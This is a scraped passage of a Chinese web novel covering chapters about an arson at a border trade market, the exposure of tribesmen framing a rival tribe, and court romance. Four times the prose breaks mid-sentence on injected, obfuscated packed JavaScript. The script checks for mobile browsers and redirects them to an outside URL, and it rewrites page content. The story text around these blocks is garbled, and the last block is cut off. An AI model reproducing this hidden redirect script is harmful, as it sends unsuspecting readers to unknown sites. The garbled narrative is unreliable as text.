傅辞偃混不吝一般地将顾春温打量了一遍,目光在他手上转了两圈,懒散道:“这位不是百里世子吧,不知是哪位大人?” “与你何干?” 顾春温的声音都变成了一汪冰水,转而与封眠说话时才恢复了常有的温度,“郡主,虽然此人说火并不是他放的,但他行迹确实可疑,还是先关押起来,待查证过现场痕迹和商栈人证再说。” 封眠收回打量着傅辞偃的目光,点了点头,正要示意侍卫将人押下去,另一名侍卫领着名大雍的商贾过来了。 中年商贾的脸上满是愤愤之色,一瞧见被簇拥在中间的封眠便嚷了起来,“郡主!郡主您可要为我们做主啊!” 他扑通一声就要跪下,封眠忙虚虚扶了一下,“起来说话。” 两侧侍卫将他搀了起来,他立即铿锵有力地控诉道:“是苍狼部那群畜生!我亲眼看见一个穿着打扮和苍狼部一模一样的人在商栈内鬼鬼祟祟地转悠,就在那一片!” 中年商贾说着把众人往烧焦的商栈方向引了引,指着一片烧得格外严重的地方给众人看。 此处几乎烧塌了,目光所及,尽是触目惊心的黑。 侍卫悄悄凑近封眠,耳语道:“经判断,此处大概率是起火的地方。” 那中年商贾还在喋喋不休,“苍狼部都敢烧云中郡的粮草!还有什么事是做不出的!我看这次也是他们干的!” 余烟尚未散尽,空气中满是木材燃烧后呛人的焦苦。 封眠闻了有些难受,抬袖掩了一下口鼻。 忽然一阵风迎面吹来,旋起一小股黑灰,卷向封眠的方向。 一直分神关注着她的顾春温当即展袖,替她挡住了铺面而来的灰尘余烬。 “郡主,我们去旁边说话。”他护着封眠向一旁走开两步。 远离了满是飞灰的商栈,空气豁然开朗。 封眠凝眸观察着中年商贾的神色,苍狼部确实有放火烧粮草的前科,但此事在当日驿站内褚景淇认出弥荼之前,无人知晓。而那之后为了互市的稳定,她命在场众人都不许泄露此事。 “你怎么知道他们烧过粮草?” 中年商贾面上并无惊慌等神色,认真做着回忆,道:“今日散市后,大家都聚在大堂饮酒用饭,有一名游商带着小厮恰好从我后头路过,两人争执着要不要与苍狼部的人做交易,提到了苍狼部曾放火烧粮草一事。” 他有些不快,带着点埋怨道:“若不是无意听见,我等现下还被郡主瞒在鼓里呢。郡主您怎么能同意与那等狼心狗肺表里不一之人互市呢!” 凌空一道亮鞭声如惊雷炸响,惊得中年商贾缩着脖子躲到了身旁侍卫的身后。 “狼心狗肺表里不一是说谁?”弥荼带着几名近侍阔步走近,面色紧绷,满布冰霜,她眼风扫过那名鹌鹑一般的中年商贾,“一人做事一人当,粮草是我烧的,我认错赔偿。但今日这场火,谁也别想栽在我苍狼部的头上!” 封眠心中暗忖:苍狼部既已主动说服其余六部一同前来参加互市,便是主动向大雍释放出友好信号,已然公开了与阿尔纳部全然不同的信号,必然会被其视为眼中钉,又何必要大费周章纵火破坏互市? 这于情于理都说不通。 纷乱杂沓的脚步声渐近,一群大雍商贾举着火把聚集而来,他们中有些人形容狼狈,身上麻布裹着伤口,显然是在方才的火灾中受了伤。 他们群情激奋,七嘴八舌地嚷着,“分明有人瞧见了你们的人在此处鬼鬼祟祟,你们又不住在这里,不是来放火的,是来偷东西的不成!” “我们千里迢迢带来的货物,全都被你们给毁了!” “我看你们从一开始就不怀好意包藏祸心!来参加互市根本不是来做生意的,就是想要破坏互市!” “就应该把他们都抓起来,让他们有来无回!” “对!抓起来!” 举着火把的人群愤怒地涌上前,拦截的侍卫不敢伤人,步步后退。 弥荼高举起长鞭,已然做好背水一战的准备。 “都……”封眠上前一步正要喝令众人冷静,一阵马蹄声打断了她的声音。 “都冷静点!”策马狂奔而来的褚景淇一面狼狈地翻身下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266688|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马,一面拉长了声音怒吼一声。 他束发都是歪的,衣裳凌乱地裹在身上,两只靴子还穿反了,形象全无。他是在睡梦中被墨松摇醒的,听闻弥荼出了事,踩了鞋、套上衣裳就往外跑。 褚景淇一脚深一脚浅地跑到弥荼身前,将她挡在身后,拧着眉冲商贾们喊:“此事官府都还没给出定论,你们倒是在此喊打喊杀上了,被人当靶子使了都不知道!” 他还抽空回头跟弥荼小声道:“别怕,我相信这场火肯定跟你们没关系!” 对面商贾们自然听不进去他的劝,不过倒是将怒火都集中到了他的身上,“你那么护着苍狼部,莫不是叛国的奸细吧!” “你们这么急着要根据几句话就给人定罪,莫不是叛国的奸细吧!” 褚景淇就这么与人群对“骂”了起来,身后好不容易追上来的墨松一眼瞧见他的衣领,惊得冲上来挡住他的身子就开始给他重新穿外裳。 小祖宗一着急将衣领穿成了左衽,在大雍左衽可是给死人穿的!传到王妃耳朵里,他的屁股就保不住了! 弥荼看着个子高挑的褚景淇将她遮得严严实实,冲在前头,一点小侯爷的样子都没有的与人骂架,心下颇为复杂,手中的鞭子都甩不出去了。 喧闹的人群后,封眠头疼地揉了揉额角。 她看得清这背后定然有人挑拨,而罪魁是什么人也几乎呼之欲出,然而现下任何发言与论断都不如证据来得实在,得让这群人安静下来…… “咣当”一声锣响,惊得众人纷纷收声。 封眠扭头看去,陆鸣竹手上拿着锣槌,他喊人搬来了开市时敲响的锣,此刻已满头大汗。 顾春温与他对视一眼,适时开口道:“诸位都请冷静,你们说看见了苍狼部人行踪鬼祟,苍狼部可疑。而侍卫却又当场逮住了这位形迹可疑的傅公子,他亦是可疑之人。” 仍被两名侍卫押着的傅辞偃耸了耸肩。 顾春温:“今夜事端诸多,众说纷纭,总要给我们一些调查的时间。” 封眠朗声接道:“我在此向诸位保证,最迟十二个时辰内,定给大家一个交代!今日诸位的损失,可先行登记下来,明日我亦会依次给诸位进行赔付,定不让大家吃亏!” 商贾们你看我我看你,没了声音。陆鸣竹“铛铛”又敲了两声锣,“诸位要登记的跟我来。” 人群松动下来,开始有人陆续走向陆鸣竹的方向。 褚景淇松了口气,摸了摸喊的有些痛的喉咙,便觉后背被人戳了一下,他回头,与弥荼对视上。 弥荼直言问道:“你说信我,只是因为喜欢我才这么说的吧?” 褚景淇瞪圆了眼,“我信你就是因为信你,便是不喜欢你,今日我也信你!” 他说罢觉得不对,又补充道,“当然了,我不可能会不喜欢你。” 弥荼没说话,哼了一声,扭头看向走近的封眠。 封眠:“还请圣女配合一二,暂时请苍狼部的所有人都待在一起,给我们一些时间,容我们查明真正的纵火之人。” 若是以往,弥荼定会抗拒这种与软禁关押无异的提议,但如今褚景淇说信她,封眠话音中的意思也是相信纵火的另有其人,便无可无不可地点了点头。 “我的耐心也只有十二个时辰。” 63. 第 63 章 “我说什么来着?”傅辞偃懒洋洋地寻了个椅子坐下,单手支颐,英挺的眉目带着几许倦意,“都说我是去救人的,你们偏不信。” 将众人情绪都安抚下来之后,总算有时间详细检查现场,并对火场中的伤患进行询问。 其中有三名伤者都作证,是一名身穿靛蓝直裰的年轻人将他们救出了火场。 顾春温和侍卫领着傅辞偃去给他们认过,确认他确实是在火场内救人,而非放火,便洗清了他身上的嫌疑。 “你现在可以走了。”封眠提醒道,有些看不惯他如此自在舒适仿佛身处自己家里的模样。 傅辞偃伸出食指摇了摇,“是你们误会了我,轻飘飘一句‘无罪释放’,就想打发我?” 封眠:“你待如何?” “我总要知道自己是在替什么人背锅吧?”傅辞偃翘起了二郎腿,小小地打了个哈欠,偏头冲封眠眨了眨眼,一副没甚正形的模样,“郡主如此大度,应当不会介意我在此旁观片刻吧?” 顾春温打量着他,觉得此人奇怪得很,身上混杂着十分矛盾的气质,说他轻浮浪荡,英挺的眉目却又十分正气,说他身有贵气,又常坐没坐相,站没站相。 他手上有着薄茧,分明是习武之人,但被抓时丝毫没有反抗之意,只懒懒地为自己辩解几句,仿佛一切随意,并不在乎结果如何。似乎万般事过眼,皆不能在心上留下痕迹。 偏偏唯独对封眠颇为在意的模样。 顾春温可以十分肯定地说,盛京城中没有出现过这号人物,他不可能与封眠是旧识。 也不对,听说封眠幼时曾离宫出走过几个月,难道是那时认识的? 封眠心下也如此怀疑过,但她虽然已经不记得幼时一同被关在山洞中的那个小男孩的相貌和名姓,却记得他也只比自己大了两三岁。傅辞偃已经二十五了,年纪怎么也是对不上号的。 “你随意。” 再有一个时辰,天便要亮了。 她虽然许诺说十二个时辰内查清真相,但若天亮前此事还没有个定论,势必会影响一整日的互市。大雍和北夷两方的人都会在心里对彼此打嘀咕,若再吵起来打起来,这怨怒之情可就要越积越深了。 所以封眠打算在天亮之前将真凶钓出来,没心情再与傅辞偃周旋。 她提笔将发生的事情和困惑之处一一写下,既不耽误给百里浔舟送信,又能梳理思绪。 坐在不远处的傅辞偃伸长了脖子探头探脑地想瞧她在写什么,眼前划过一片暗绣云纹的袍角,顺着抬起头,方才带着他去给人认脸的那位顾大人径自站到了他的面前,将他的视线遮得严严实实。 切,又不是郡主那位世子夫君,在这里严防死守什么呢? 傅辞偃轻哼一声,撤身摊回椅子里。 敞开的大门被轻叩了两下,陆鸣竹领着风甲和风乙回来了。 “郡主,没有找到最初传出苍狼部曾火烧粮仓消息的那名游商。”陆鸣竹带着人将最近的两个商栈也翻了个遍,一个可疑的人都没找到。 “跑得倒快。” 他们一定提前摸熟了地形,向周边再排查下去,也只是大海捞针,做无用功。必须得想个法子守株待兔,让他们自己撞上门来。 封眠若有所思地看向傅辞偃,“傅公子既然留下了,不如就帮我一个忙吧。” 天边微微泛起了鱼肚白,一夜难以入眠的商贾们聚在临时搭起的棚屋之下交头接耳。 “听说了吗?已经找到足以证明这场火不是苍狼部放的人证和物证了。郡主说辰时便要叫咱们一起去看。” “真的假的?这么快就查出来了?” “别是随便找了个人,捏造的证据吧?我看苍狼部不是什么好东西,定然就是他们干的!” “就是,都烧成那样子了,还能找出什么物证来?我看就是随口一说,向让咱们闭嘴罢了。” “货真价实千真万确!你现在急什么急,待辰时郡主若是拿不出证据,你们再闹也不晚!” “行,那咱们就等着瞧,倒时我定然苍狼部那帮混蛋好看!” 这消息一传十十传百,转眼间便传出了商栈。 一道如同拾荒者的身影缓缓走进了某处低洼的山洞里,等在里面的人激动地倾身迎上来,“怎么样?接应的人来了吗?” 来人摇摇头,低哑道:“出了问题,大雍那边找到了证据,得处理掉。” “不可能!我们行事这么小心,怎么可能留下什么证据!”等待的人情绪激动,“大雍人心思很多,会不会是骗我们的?” “不管是真是假,都要去看一遍才能放心,否则如果真的留下了证据,就白干了!”来人咬一咬牙,“我去!伊丹,你在外头放风,我若被抓了,你就杀了我,立刻走!” “阿古尔!” “为了真神的荣耀!”阿古尔握住伊丹的手,眼中带着赴死的决心。 距辰时还有一炷香之际,一道人影趁换防之际,卡在视觉盲区,灵巧地翻入后院柴房处,侧耳贴在边沿的小窗上,听见里面传来不停歇的咒骂声。 “老子是证人又不是犯人,至于把我跟证据这么看在一处吗?要不是我看穿了阿尔纳部人的伪装,你们找得着这证据吗你们!” 窗边的阿古尔眸中闪过一丝厉色,小心翼翼翻窗而入,刚一落地,颈上便横过一道长剑。 傅辞偃挑了挑英挺的眉,“阿尔纳部的小鱼可真是好钓。” 阿古尔眼神一狠,猛地向前往剑上撞,傅辞偃及时收剑,脚下腾挪转身,“啪”一下将人反身摁倒,“现在你还不能死,忍忍吧,一个时辰之后再死也来得及!” 敞开的窗外,一道箭簇迎着朝阳反射的微光闪现。 伊丹躲在附近一座飞起的塔楼高处,搭弓引箭,瞄准了远处阿古尔的头,他咬了咬牙,正要松弦,一道身影忽地从下翻了上来,一脚踹翻了他的弓箭,同时将他砸倒在地,双腿绞住了他的脖子。 “兄弟,站得高,摔得疼,你听过没有?” 辰时,当众人再聚在商栈废墟之前时,两名伪装成苍狼部的阿尔纳部人被押了上来。 阿尔纳部人长到五岁便会在耳后用一种特殊的颜料刺青,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278193|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人身份辨无可辨。更兼之顾春温带人循着他们的踪迹找到了藏起来的纵火用具,至此真相大白。 苍狼部众人扬眉吐气,“放火的人是阿尔纳部的!关我们苍狼部什么事!” 之前质疑、辱骂过苍狼部的商贾无需示意,主动站出来向苍狼部众人道歉。 褚景淇立刻将这件事编成了顺口溜,苍狼部成了苦主,阿尔纳部是那凶神恶煞挑拨离间的恶狼,然后花钱雇人去四处传播。 “好事不出门,坏事传千里。咱们这里人多嘴杂的,谁知道最后外头传的会是哪个版本的故事?再叫有心人给苍狼部也泼上一盆脏水,这真相不是就白查了吗?必须先下手为强,抢占谣言……不是,抢占真相市场!” 伴着这份新鲜出炉的顺口溜,“阿尔纳部派人火烧大雍商栈意图嫁祸苍狼部,大雍彻查到底还苍狼部清白”的热闹事儿就广为流传了出去。 第二日的互市依然热闹开场,两边商贾交易之时还不时就此事发表议论,主要围绕着“心疼苍狼部”、“赞美大雍”、“痛斥阿尔纳部”几个话题。 当人们有了共同讨厌的人时,通过同仇敌忾的痛骂,彼此之间的关系便会飞速拉近,这一天的互市比第一日还要和谐百倍。 在火烧商栈一事中受到了损失的商贾们自封眠处结清了赔付款,便冲进互市北夷商区大买特买,将误解苍狼部的愧疚尽数化为真金白银的消费,收获满满地准备南下售货,并许诺会将这个故事一同带去,让更多人知道阿尔纳部的可恶嘴脸! 未参加此次互市的其他北夷部族也逐渐听说了阿尔纳部陷害苍狼部一事,多数较为中立的部族都十分震惊,事发时苍狼部等七个部族还在大雍境内,如果大雍人真的认为是苍狼部挑起事端,这七个部族恐怕都不会有好下场! 尽管北夷分裂成了三十六部,但曾经都是同胞,信仰着相同的神明,再往上细数几十辈,说不定还是同一个祖先,在北夷内部彼此有争端,那时部族之间为了生存而战,在大雍面前对其他部族使用如此不耻的手段,焉知日后若他们答应与阿尔纳部合作,会不会成为他们手下随时可以牺牲的棋子? 有好几个部族都打消了与阿尔纳部合作,一同攻打大雍的心思。剩下的部族也开始犹豫,摇摆不定。 封眠的信件和前哨的军报前后脚送到百里浔舟的手上,他笑得前仰后合,“什么叫搬起石头砸自己的脚?精彩,真是精彩!” 姚知远畅快地奖励自己开了一盒留给明日的点心,“郡主这互市办得真是妙极。” “那是自然。”百里浔舟眉眼带笑,垂首继续仔细地看信。 自拿到信,还未看内容,他的唇角便翘得落不下去。入手厚实,显然写了好几页纸,与往日递来的薄薄一张字条简直不可同日而语! 这一点小小的不同,已足以让他高兴一整日。 然后瞧着瞧着,他的嘴角蓦地又抿得平直了。 封眠的信写得如同日记一般,顾春温和陆鸣竹时有出场,只这两个都是老熟人了,在信上见一见还影响不了他的性情,这突然冒出来的傅辞偃又是什么人? 64. 第 64 章 傅辞偃到底是什么人? 夜半,百里浔舟躺在床上辗转反侧,一闭上眼睛,脑海里便会冒出这一句话。 他越是想要静下心来,清空思绪,就是越是不可抑制地想起这句话。心愈浮,气愈燥,像烙饼一样翻来覆去。 最后干脆放弃挣扎,睁开眼睛,苦恼地盯着头顶的床帐。 明日好像也没什么特别紧急的事物,阿尔纳部吃了大瘪,应当会安分几日,若他现在出发的话,赶一赶,说不定能在天亮时抵达黑石沟。 可他这时候以什么理由冲过去呢?只是因为一个在信上见过名字的傅辞偃,也显得他太不稳重太过小肚鸡肠。封眠会不会烦他? 他想要封眠给自己写信,只是觉得见字如面,读信时就好像能听见她在自己耳边轻声说话一般。而且只要一想到无论如何,在给自己写信时,她心中必然是念着他的,便觉得心口丰盈轻快起来,并不是想要以此来监控她的一举一动。 若只是读了封信,便不管不顾地跑过去了,惹人厌烦,日后她不愿意写信了怎么办? 兵法有云,兵法有云…… 百里浔舟脑中空白一片,想不出什么兵法了,憋闷地叹气,都开始略略有些羡慕褚景淇这个富贵闲人了,整日在外头游荡,想去追心上人,便拔腿追去了。 他却脱不开身…… 他眸光一顿,忽然生了歹心。 他去不了,但府上那么多家丁仆厮,都可以派去给他增加一些存在感啊。 又是晴朗一日,天边云絮厚软,轻飘飘地荡过澄澈的天穹。 黑石沟,封眠提着葱白裙摆下楼,雾柳恰好将刚煮好的药从厨房端了出来。 近两日风沙大了些,封眠不想频频开窗,导致屋内积一层薄沙,还要人费心清理,便干脆坐到大堂里喝今日的汤药,左右驿站内都没什么外人。 哦,还是有一个的。 一道懒散的身影拖着步子走了过来,傅辞偃凑到刚在桌边落座的封眠身侧,探头看一眼她面前黑乎乎的药碗。 火烧商栈的事情已经落幕,傅辞偃身上的污名洗清,害他背锅的罪魁祸首也已经被揪了出来,按他之前的说辞,他也应该离开了。 但顾春温和陆鸣竹明里暗里地示意他可以离开去忙自己的事了,他却道:“我还未曾见过互市,这么大的热闹总不能一眼都没看就离开吧?那也太可惜了。” “是你们将我抓来的,光找到让我背锅的祸首也不足以弥补我心里的苦。” 谁也看不出来他心里如何苦了,但他偏要赖着与他们同住,总不能强行将人赶出去。 “是药三分毒,你病了吗就胡乱吃药?”傅辞偃皱着眉心,七分嫌弃下暗暗藏着三分关切。 瞧这弱唧唧的模样,腕骨细的骨节都突出来了,小脸上也没有二两肉,定是吃药吃的。 封眠一手拿着汤匙搅着碗中热腾腾的药,等它晾凉,“并非治病的药,近日事情杂乱费神,容易生病,便喝些汤药预防病灶。我体弱,从小喝惯了的,没事。” “觉得累了就去休息,按时睡觉按点用膳,吃药预防是什么主意?净搞这些没用的……”傅辞偃语气不大好地嘀咕着,愈发坚定了自己方才的想法,就是从小一直吃药,才将她吃成了一副瘦伶伶的模样。 他忍不住了,忽然问道,“皇帝陛下不会就是这般教你的吧?” “当啷”一声,封眠手中汤匙磕到碗壁,她惊讶得瞧一眼傅辞偃,这人到底是性子不羁还是不怕死?话音里头竟好似对嘉裕帝颇有些不满一样。 她扫一眼四周,流萤和雾柳垂眸静立装作没听见的模样,大堂内除了他们几个以外,并无旁人。几名侍卫守在门口的位置,听不见此处的交谈声。 “非议陛下,你是嫌脑袋顶着太重了?”幸好没旁人听见,添油加醋传出去,他可真是要倒霉了。 傅辞偃轻哼一声,显然不大服气,但也没再多说什么。 碗中的汤药晾得差不多了,封眠正端起来要一口闷,手上忽地一轻,傅辞偃竟一把夺走了她手中的碗,仰头将药喝干了。 咕咚咕咚声在安静的大堂内格外显眼。 空掉的药碗被搁回在桌上,咚一声闷响,“这几日被你们折腾得也没休息好,我试试这药管不管用。” 他垂下眼睫瞧着封眠,半阖的眼眸凌厉似一把出鞘的剑,“郡主殿下若是担心生病,不若现下回屋里头歇上一歇。若离了你互市就不转了,你带来的那几位大人是吃干饭的不成?” 他丢下这几句话,转身又走了,看方向是回房间去了。仿佛出来这一趟,就是为了专门与她抢药吃的一般。 封眠:…… 他是在说教吧?是吧? 虽说听起来是为了他好,但这比太后挖苦她时说的话也好不到哪里去。 流萤和雾柳亦是瞧得目瞪口呆,流萤蹭过来将空碗拿起来,瞟一眼封眠,“那位傅公子做人虽然没什么礼貌,对郡主也没有半点尊重的样子,但话倒是说得没错,吃好睡好比喝什么药都强!” “郡主,左右没什么要紧的事了,回屋再睡一会儿吧?”雾柳紧随其后,上前将封眠扶起来往楼上带。 封眠无话反驳,就这么稀里糊涂又去睡了个回笼觉,再醒来时确实神清气爽,腰不酸了腿不痛了,感觉还能再绕互市走上十圈。 房门被笃笃敲响,雾柳轻声在外问询:“郡主,醒了吗?” “进来吧。” 雾柳推开房门,脸上挂着明显的笑意,“世子殿下……” 封眠心头一跳,百里浔舟又来了?她下意识跳下床,匆匆抓起搭在床边的苍松色外衫,又一瞬觉得这件外衫色调太重了,松了手打算挑件新衣裳。 接着便听雾柳继续道:“世子殿下遣了人送东西来,就在大堂候着呢。” 喔,原是遣了旁人来的。 封眠的手又摸回了苍松色外衫,出门在外,不比在府里头,哪需一日换几套衫裙,凑合穿一穿吧。 大堂里摆了两个箱笼,傅辞偃又蹲在箱笼旁打量着。 怎么哪里都有他? 有些眼熟的王府小厮冲封眠行了一礼,“世子妃,世子殿下命小人给世子妃送些新鲜吃用来。互市还有数日,殿下很是记挂世子妃,望世子妃能好生顾着自己的身子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284148|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱笼里还有一个三层小食盒,封眠打开一瞧,里面上下两层皆铺着冰,中间一层是乳酪酥山,莹莹如雪,瞧着便令人口舌生津。 小厮更来劲了,挺直了腰板介绍道:“世子殿下念着世子妃爱用冰,如今天气日渐热了,便特意去买了来,生怕化了,特意亲手在上下两层密密铺了冰。” 他在“特意”和“亲手”两个词上加重了话音,着重强调,心下想着来时世子殿下嘱咐他的话:若郡主高兴了,便给他加赏银。 “世子说怕世子妃吃坏了肚子,便没多买,这一点酥山姑且为世子妃解一解暑意。” 他怎么知道她爱吃冰的?封眠忽地想起来自己刚到北疆的时候,还拉上流萤、雾柳、柳寄雪一起去逛过酥山店,便猜他应是跟周围人努力打听过了,一时有些为他的用心而感到高兴。。 她还真是有些馋了。 “到底是王府世子,家底丰厚,出手就是阔绰。”傅辞偃一张嘴,将百里浔舟说得好似什么败家的膏梁纨袴子弟一般。 小厮古怪地瞧他一眼,急忙扬声为自家世子正名,“置办这些,全用的我们世子平日里的饷银,世子说了,他往日没甚花销,攒下来的银子日后都要花到世子妃身上。” 旁边一声惊呼,傅辞偃惊讶地瞧封眠,“他饷银竟不交你保管?” 小厮:…… 这人什么毛病? 封眠:“……那点银子我用不上。” 流萤小声跟雾柳嘀咕,“这傅公子到底什么意思啊,怎么老挑刺找茬儿,这些都关他什么事啊?” 她说着倒吸一口凉气,“他该不会对郡主……” 雾柳摇摇头:“瞧着不像,况且我觉得傅公子看郡主的眼神,没什么旖旎心思。你不是号称熟读话本,这也看不出来?” “我当然也瞧着他眼神不对了。”流萤辩解道,“只是他这人不太正常,我怕用常人那套理论,解读不了他的心思。你懂吗?” 雾柳:“我不懂。” 箱笼前,傅辞偃探首,“什么味道的?” 封眠生怕傅辞偃把自己的乳酪酥山也给抢了,一手拎着食盒提手,另一手将食盒揽住抱在怀里,全方位防范着,还有些警惕地瞧了他一眼。 傅辞偃:…… 他哼了一声,甩袖转过身去,“谁要吃这种甜兮兮腻人的东西。” 难不成你就爱吃跟汤药一样苦的东西?什么癖好! 封眠抱着食盒回了屋,一面享用,一面给百里浔舟写信,着重夸赞了一番乳酪酥山的味道,又十分捧场地盛赞了百里浔舟几句,最后图穷匕见。 “我今日梦中都还是乳酪酥山的味道,互市还有十余日才结束,也不知下次再吃是何时了。” 此时此刻外头艳阳高照,手边乳酪酥山刚见了底,她根本连眼都还没闭上过。 百里浔舟接到信时一眼便瞧出她的小心思,心下有些好笑。他想了想了,隔几日吃上一碗酥山似乎也不算多,不过他还是谨慎地派人去问过柳寄雪,确认没有问题,才决定每隔三日派人给封眠一碗酥山,再配上不同的果浆浇头,定让她吃得高高兴兴。 65. 第 65 章 逐渐升高的日头阻挡不了人们赚银两的热情。观望了两日的其他大雍商贾眼瞅着互市火热,纷纷也赶来来登记,准备继承一些已经收够了货物,准备撤市的商贾的摊位。 众人在互市门口来往着,顺便就外头吃起了井水湃过的瓜果。 这是黑石沟的村长带领着村民们在市集入口处摆的小摊子,他某次见郡主吃酥山,心思活泛起来,便做起了井水湃凉瓜的生意。 冰是稀奇紧俏的东西,他们小本生意供应不起,但家家都有一口井,头一晚将瓜果浸在井水中,要吃的时候捞上来切开,扑面而来的沁凉之意,足以解去七月的暑意。 为了保证供应的瓜果足够凉,他们都是先接了单子,再命孩子狂奔回家中,将客人要的瓜果捞上来,再狂奔回来。 生意好极了,就是有些费孩子。 村长正笑盈盈地忙碌着,听见有人在头顶叽里咕噜说着听不懂的话,一抬头瞧见一个生面孔。 这几日旁的不说,村长是将互市上几乎所有人都瞧了个面熟,面前的人不但脸生,穿着打扮的风格也陌生,发尾还染着奇怪的红色,说了半晌北夷话才生硬地吐出两个大雍字,“互市”。 村长并没有恍然大悟明白他在说什么,但他知道苍狼部的圣女日日都守在互市门口,等着帮不通大雍官话的北夷人做翻译,于是扬手一指圣女所在的方向,“去那边,找她问,那边!” 那北夷人看懂了,给他留下一颗圆溜溜亮闪闪的珠子做谢礼,往弥荼的方向走去。 弥荼早便瞧见了他们这一行人,发尾用特殊的植物染料染着火红狐尾一般的颜色,是飞狐族的人。 飞狐族的人口在北夷算得上是大部族,战力也属于中等,一直是阿尔纳部努力拉拢的对象,如今倒是也主动来向大雍示好了。 飞狐族领头的是一名中年贵族费力,曾在草原上与弥荼见过几面,他恭恭敬敬地向弥荼行了个见面礼,“苍狼部的圣女,我们飞狐族想要加入本次互市,需要付出什么?” 他问的直截了当,目色严肃,本次出行,他和身后的同伴们带上了部族最优秀的货物,只要能加入互市,分一杯羹,任何代价他都承受得起。 弥荼还未说话,她身侧探出一个脑袋,褚景淇欢快道:“哦北夷的朋友,大雍欢迎你!” 褚景淇这两日地位飞升,已经在弥荼旁边有了专属于自己的座位。他才发现自己似乎在学习语言上天赋超然,不过几日下来,简单的北夷语交流对于他来说简直易如反掌。 费力愕然地瞧着出现苍狼部圣女身边的这个大雍人,看满身金玉的穿着,和这种地主般的语气,像是大雍的贵族。 看来传言不假,苍狼部和大雍的关系当真是好啊。 褚景淇兴致勃勃地指指费力的发尾,“这颜色真特别,我能染吗?” 他话音未落,便被弥荼一个肘击推到身后。 弥荼指了指入口另一侧,“大雍的郡主在那边,互市的事情,你自己亲自去找她谈。” 后头来的人可不能借着她的面子,从封眠手里直接拿到她谈好的条件。 捂着胸口揉了又揉的褚景淇热情地跳出来,“我来带你去!” 对侧搭起的凉棚下,封眠正在听一个种子商人细细介绍自己带来的种子。 面前的桌上摊开摆着数排各种各样的种子,这几日陆鸣竹和弥荼带着人找来的种子也都一并摆在此处,每一粒种子下面都铺着一张纸,上面写着植株名姓、外观特色和种植要点。 许是听说郡主在寻找新奇的种子,一名种子商人千里迢迢赶来,自述走了几万里路搜罗奇珍异种,希望能谈成生意。 他觑着封眠的神色,感觉她一直都神色平平的模样,看不出来有多大的兴趣,心下有些着急了。 他准备的大多数都是一些比较独特美丽的观赏植物,或是味道特殊的香料,应该最受这些贵族女子欢迎才对啊? 种子商人快没招了,他拿出最后一种种子,“郡主殿下,您别看这种子其貌不扬,开的花朵洁白无暇,像天上一团团蓬松的云朵,又好似落在人间的不会融化的初雪。” 被他捧在掌心的种子呈深褐色,形状并不规则,有些干瘪。 “我拿到种子的地方似乎是叫它白叠子,我便以此当作它的名字了。” 封眠忽地眉梢一动,她想起幼时有一次冬日,盛京难得下了场大雪,他贪玩冻着了,病起来也觉得浑身发凉,那时候她在梦里见过这种植物。 它被人叫做棉花,并非只有观赏的效用,这种棉花经过处理之后,缝在衣服、被褥里做填充物,非常轻便保暖。 想到北疆凛冽的寒风,她有些心动了,“白叠子的种子你有多少?” 种子商人没想到在最后一枚种子这里成交了,喜出望外,忙道:“我这次带了五百粒种子回来,郡主若需要,我还能弄来更多!” 封眠颔首:“行,有多少要多少。” 她又挑了其他一些确实比较特别的种子,一并都要了,让官员去与他敲定契书。虽然她最想要的种子还没找到,但见着了另一种同样重要的种子,封眠还是很高兴的,等户部的司农来了,就可以让他们去试种了! 见她终于忙完了,褚景淇赶紧带着飞狐部的人上前,“小表妹,来新人了!” 方才等待的几刻钟里,他已经凭借初学的北夷语将飞狐部的情况都摸清楚了,现下一五一十地与封眠说了。 “我瞧着他们挺有钱的,也不是来打听打听就要走,是做好了付出代价的准备来加入互市的,你尽管开价。” 封眠向他投去赞叹的眼神,“九哥,你真应该去四夷馆任职。” “饶了我吧,我在你这互市闹着玩还挺开心的,要是当官点卯可是要了我的命了。”褚景淇连忙讨饶,瞧见有通事过来帮忙翻译,他忙脚底抹油地跑了,生怕被封眠联合皇伯伯将他丢去四夷馆历练。 与飞狐部的洽谈确实十分顺利,盛入褚景淇所言,他们是做好了付出代价的准备过来的。但封眠也没有提出什么太苛刻的条件,只要从他们互市所得的利钱中抽取一成即可。 当初给北夷商贾和大雍商贾划分商区时,占地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 